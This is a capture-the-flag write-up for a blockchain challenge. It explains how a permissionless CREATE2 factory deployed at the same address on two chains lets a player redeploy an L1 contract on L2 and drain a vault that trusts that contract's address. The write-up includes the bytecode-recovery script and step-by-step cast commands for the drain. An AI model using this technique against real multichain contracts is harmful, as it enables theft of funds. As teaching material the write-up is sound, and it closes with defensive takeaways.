arbitrary-funds-sweep

The vault trusts an un-aliased L1 address that was never deployed on L2, and the same permissionless CREATE2 factory exists on both chains.

2026.09.19 DefCamp CTF 2026 Quals 180 pts Blockchain
FLAG DCTF{b4s3_l4y3r_15_4lw4y5_b0r1ng_th4t5_l1f3}

0. In one paragraph

The vault’s owner is the un-aliased address of the L1 contract Saylor. Under Arbitrum’s rules a message sent by an L1 contract executes on L2 from that address plus 0x1111...1111, so the legitimate L1→L2 path can never make you the vault owner. But the permissionless Factory sits at the same address on both chains, and Saylor was never deployed on L2. Deploying Saylor directly on L2 with the same salt and the same creationCode claims the owner address, and then the freely callable Saylor.call() drains the 5 ETH.

1. The challenge

Two anvil chains stand in for L1 (Ethereum) and L2 (Arbitrum), with a real relayer process between them. The goal is to bring the L2 Vault balance to 0. Seven Solidity files ship with the challenge:

L1:  Factory.sol        permissionless CREATE2 deployer
     Inbox.sol          createRetryableTicket (L1 -> L2 message)
     Saylor.sol         relay() + call()
     SetupL1.sol
L2:  ArbRetryableTx.sol submit / markRedeemed, relayer only
     SetupL2.sol
     Vault.sol          holds 5 ETH, only owner may execute()
contract Vault {
    address public immutable owner;

    function execute(address to, uint256 value, bytes calldata data) external {
        require(msg.sender == owner, "not the owner");
        (bool ok, bytes memory ret) = to.call{value: value}(data);
        require(ok, "call failed");
    }

    receive() external payable {}
}

2. Recon — on-chain state

Querying the addresses the instance hands out already exposes the shape of the problem.

$ cast call $VAULT 'owner()(address)' --rpc-url $L2
0x8054b6A618636CC6F877ec97381b5778f055ff9f      <- the SAYLOR address itself
            L1 code   L2 code   L2 balance
FACTORY     yes       yes       -        <- same address on BOTH chains
INBOX       yes       yes       -
SAYLOR      yes       NO        -        <- nothing deployed on L2
VAULT       no        yes       5 ETH

Two observations, and they are the whole challenge: the vault owner is the Saylor address itself, not applyAlias(Saylor) — and that address is empty on L2.

3. Why the intended path is closed

Walking the L1 blocks reconstructs the route the deployer actually used.

L1 blk3  Saylor.relay(inbox, to=FACTORY, data=deploy(Vault_initcode, salt))
L1 blk4  Saylor.relay(inbox, to=VAULT, l2CallValue=5 ETH, data=0x)
L2 blk4  from 0x9165b6a618636cc6f877ec97381b5778f05610b0 -> FACTORY deploy()
L2 blk7  from 0x9165b6a618636cc6f877ec97381b5778f05610b0 -> VAULT 5 ETH

  0x8054b6A618636CC6F877ec97381b5778f055ff9f   Saylor (L1)
+ 0x1111000000000000000000000000000000001111   Arbitrum alias offset
= 0x9165b6a618636cc6f877ec97381b5778f05610b0   what the relayer sends from

The relayer executes the L2 call from the aliased address, exactly as Arbitrum specifies. Inbox decides whether to alias with fromIsContract = (msg.sender != tx.origin). Avoiding the alias would require msg.sender == tx.origin == Saylor, but Saylor is a contract and we do not hold its key. L1→L2 messaging cannot open the vault.

4. The bug — a permissionless deterministic deployer

contract Factory {
    function deploy(bytes memory bytecode, bytes32 salt) public returns (address addr) {
        addr = predictAddress(salt, bytecode);
        bool fresh = addr.code.length == 0;
        if (fresh) {
            assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) }
        }
        emit Deployed(addr, fresh);
    }
}

There is no access control at all, and a CREATE2 address depends only on (factory address, salt, initcode hash). Because the Factory lives at the same address on both chains, an address produced on L1 can be reproduced on L2. And Saylor exposes an arbitrary call anyone may invoke — the challenge description’s “Entry is arbitrary”:

contract Saylor {
    function call(address to, bytes calldata data) external payable returns (bytes memory ret) {
        (bool ok, ret) = to.call{value: msg.value}(data);
        require(ok, "call failed");
    }
}

5. Recovering the creationCode

A CREATE2 address depends on the keccak of the initcode, so we need a byte-exact creationCode — compiler version, settings and metadata hash included. Rather than reproduce the build, it was lifted out of the SetupL1 deployment transaction, because type(Saylor).creationCode is embedded whole inside the SetupL1 bytecode.

setup   = input of the SetupL1 deployment tx        # 6628 bytes
runtime = cast code $SAYLOR --rpc-url $L1           # 1732 bytes

idx = setup.find(runtime)                           # creationCode = [stub][runtime]
end = idx + len(runtime)

for stub in range(260):                             # stub length unknown -> walk backwards
    init = setup[idx-stub:end]
    if create2(FACTORY, SALT, keccak(init)) == SAYLOR:
        break                                       # -> stub = 28, initcode = 1760 bytes
$ cast call $FACTORY 'predictAddress(bytes32,bytes)(address)' $SALT $INIT --rpc-url $L2
0x8054b6A618636CC6F877ec97381b5778f055ff9f          <- exact match

6. Exploit

# 1) claim the Saylor address on L2
cast send $FACTORY 'deploy(bytes,bytes32)' $INIT $SALT \
     --private-key $PK --rpc-url $L2 --gas-limit 5000000

# 2) now we can call the vault AS Saylor
DRAIN=$(cast calldata 'execute(address,uint256,bytes)' $PLAYER 5000000000000000000 0x)
cast send $SAYLOR 'call(address,bytes)' $VAULT $DRAIN \
     --private-key $PK --rpc-url $L2 --gas-limit 2000000

# 3) verify
cast balance $VAULT --rpc-url $L2        # -> 0

Trap: a deployment that looks successful. The first deploy transaction returned status 1 yet no code appeared at the address. The logs showed Deployed(0x0, fresh=true)create2 had run out of gas. create2 does not revert on failure, it returns zero, so the outer transaction completes normally and eth_estimateGas happily reports that too-low figure as correct. Passing --gas-limit explicitly fixed it.

7. Takeaways

  • Arbitrum’s address aliasing exists to stop an L1 contract impersonating its own address on L2. Turn that around: the moment an un-aliased L1 address is used as an authority, that address has no owner on L2.
  • If a CREATE2 deployer sits at the same address on several chains, any address deployed on only one of them can be claimed on the others — all the more so when the factory has no deployment permissions.
  • Do not burn time matching compilers; pull the original bytecode off the chain. Constructor arguments and embedded creationCode are sitting in the deployment transaction’s input.
  • create2 and call do not revert on failure. Never read status 1 as success — check the events and the code length. Gas estimation is understated for the same reason.
#solidity#arbitrum#create2#address-aliasing